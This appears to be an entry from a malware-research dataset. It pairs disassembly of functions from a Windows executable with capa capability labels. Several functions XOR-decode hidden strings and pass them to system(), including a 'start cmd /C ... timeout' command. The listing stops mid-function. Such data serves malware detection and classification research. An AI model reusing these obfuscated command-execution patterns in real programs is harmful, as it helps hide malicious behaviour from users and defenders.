joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140045170
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
call fcn.140041f80
xor ebx, ebx
mov dword [rbp - 0x40], 0x47424e43
mov ecx, ebx
mov dword [rbp - 0x3c], 0x5b4e4a4e
mov dword [rbp - 0x38], 0xc140a5d
mov word [rbp - 0x34], reloc.WS2_32.dll_select
mov byte [rbp - 0x32], 1
nop word [rax + rax]
lea eax, [rcx + 0x21]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xd
jb 0x1400451b0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x32], bl
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov qword [rbp - 0x20], rbx
movups xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
mov byte [rbp - 0x30], bl
lea rcx, [0x140350400]
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
call fcn.140063150
movdqa xmm0, xmmword [0x1400dec30]
movdqa xmm1, xmmword [str.BDPZEC]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x1000e0d
movdqu xmmword [rbp - 0x20], xmm1
nop
lea eax, [rbx + 0x21]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x22
jb 0x140045220
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xd], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x140049420
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140049441
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14004946e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140049470
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400494c9
test ecx, ecx
jle 0x1400494a9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400494c9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400494c9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
mov dh, byte [rbx + rsi + 0x4f]
outsb dx, byte [rsi]
fld dword [rsi + 0x78ec4356]
cld
test eax, 0xa90377f3
int 0x19
lodsb al, byte [rsi]
push 0x17079935
adc dword [rdi], eax
invalid
Function at 0x1400494f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140049521
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140049538
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14004955b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14004955d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140049599
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14004962e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400495d4
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14004960e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14004962e
cmp rbx, rax
ja 0x1400495e0
test rbx, rbx
je 0x14004962e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
stosd dword [rdi], eax
idiv dl
lodsd eax, dword [rsi]
invalid
Function at 0x140049a50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140049a74
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140049ab7
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140049ab7
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x140049be8
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140049afa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140049b25
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x140049bed
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140049b9a
sub eax, 1
je 0x140049b9a
cmp eax, 2
jne 0x140049be8
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x140049bed
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x140049bcb
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140049be8
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140049bed
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x14004a750
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14004a819
cmp byte [rcx + 0x71], 0
je 0x14004a819
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14004a80c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14004a7c8
sub eax, 1
je 0x14004a7cc
cmp eax, 2
jne 0x14004a80c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x14004a7fa
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14004a80c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret

Function at 0x14005bbc0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x14005bbf4
mov eax, esi
lea ecx, [rax - 0x1a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14005bbe0
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050080
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14005bc19
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140068a10
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14005bc93
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bc8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bc8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x14005bca0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 9], bl
je 0x14005bcd4
mov ecx, ebx
lea eax, [rcx - 0x1a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x14005bcc0
mov byte [r8 + 9], bl
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.140050080
nop
cmp byte [rdi + 9], 0
je 0x14005bd04
lea eax, [rbx - 0x1a]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, 8
jb 0x14005bcf1
mov byte [rdi + 9], 0
lea r8, [rdi + 8]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140050080
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.1400619b0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14005bd74
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bd6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bd6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14005bdb4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bdaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bdaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret

Function at 0x14005bdc0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x14005bdf4
mov eax, esi
lea ecx, [rax - 0x1a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14005bde0
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050080
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14005be19
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140068a10
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14005be93
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005be8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005be8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x14005bea0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x14005bed4
mov eax, esi
lea ecx, [rax - 0x1a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x14005bec0
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050080
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14005bef9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140068a10
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14005bf73
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bf6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bf6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14005bf80
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x14005bfb4
mov eax, esi
lea ecx, [rax - 0x1a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x14005bfa0
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050080
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14005bfd9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140068a10
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14005c053
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c04e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c04e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140062770
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x140062793
lea edx, [rax - 0x1a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x140062780
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140050080
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x1400627b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x10], al
je 0x1400627d3
lea edx, [rax - 0x1a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x1400627c0
mov byte [rcx + 0x10], 0
lea r8, [rcx + 0xf]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140050080
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140063d60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140063d83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x1a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140063d70
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x140063d90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x140063db8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x1a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x140063da0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x140063dc0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x140063de3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x1a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x140063dd0
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x140063df0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x140063e13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x1a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x140063e00
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x140064520
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r10, rcx
mov ecx, r9d
test r8, r8
je 0x140064607
sub r10, rdx
cmp r8, 8
jb 0x1400645dc
mov rax, r8
lea r9, [rdx + 4]
and rax, 0xfffffffffffffff8
xorps xmm3, xmm3
xorps xmm2, xmm2
movd xmm1, dword [r10 + r9 - 4]
add rcx, 8
movd xmm0, dword [r9 - 4]
lea r9, [r9 + 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklbw xmm0, xmm0
psrad xmm1, 0x18
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, dword [r9 - 8]
punpcklbw xmm0, xmm0
orps xmm3, xmm1
movd xmm1, dword [r10 + r9 - 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklwd xmm0, xmm0
psrad xmm1, 0x18
psrad xmm0, 0x18
xorps xmm1, xmm0
orps xmm2, xmm1
cmp rcx, rax
jb 0x140064550
orps xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
orps xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
orps xmm2, xmm0
movd r9d, xmm2
cmp rcx, r8
jae 0x140064607
lea rax, [rcx + rdx]
sub r8, rcx
nop dword [rax]
nop word [rax + rax]
movsx edx, byte [r10 + rax]
movsx ecx, byte [rax]
lea rax, [rax + 1]
xor edx, ecx
or r9d, edx
sub r8, 1
jne 0x1400645f0
test r9d, r9d
sete al
ret
Function at 0x140066380
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400f0088]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rsi, rcx
mov qword [rsp + 0x78], rcx
mov r8, rcx
lea rdx, str.start_cmd__C__color_b__title_Error__echo
lea rcx, [rsp + 0x58]
call fcn.14004be40
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x14006640a
lea rax, [rcx + 0x11]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400663eb
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.__timeout__t_5_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x11], 0
jmp 0x14006642c
mov qword [rsp + 0x20], reloc.WS2_32.dll_recvfrom
lea r9, str.__timeout__t_5_
xor r8d, r8d
lea edx, [r8 + 0x11]
mov rcx, rdi
call fcn.14005d450
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400664b8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400664b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400664b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
movdqa xmm0, xmmword [0x1400deb00]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14006650b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066506
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066506
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5ac
xor ecx, ecx
int 0x29
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140066545
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140066540
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006657d
mov rcx, r8
call fcn.1400bd5ac
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400bdd80
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400732f0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret
Function at 0x140084b20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x140084b7e
mov dl, 1
call fcn.140075640
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.140075640
mov eax, ebx
jmp 0x140084bc2
cmp ebx, 2
ja 0x140084bc0
mov r9, qword [rdi + 0x668]
lea rdx, [0x1400c67a0]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140084be0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x1400f0088]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x140084c23
cmp qword [rcx + 0x678], 0
je 0x140084d00
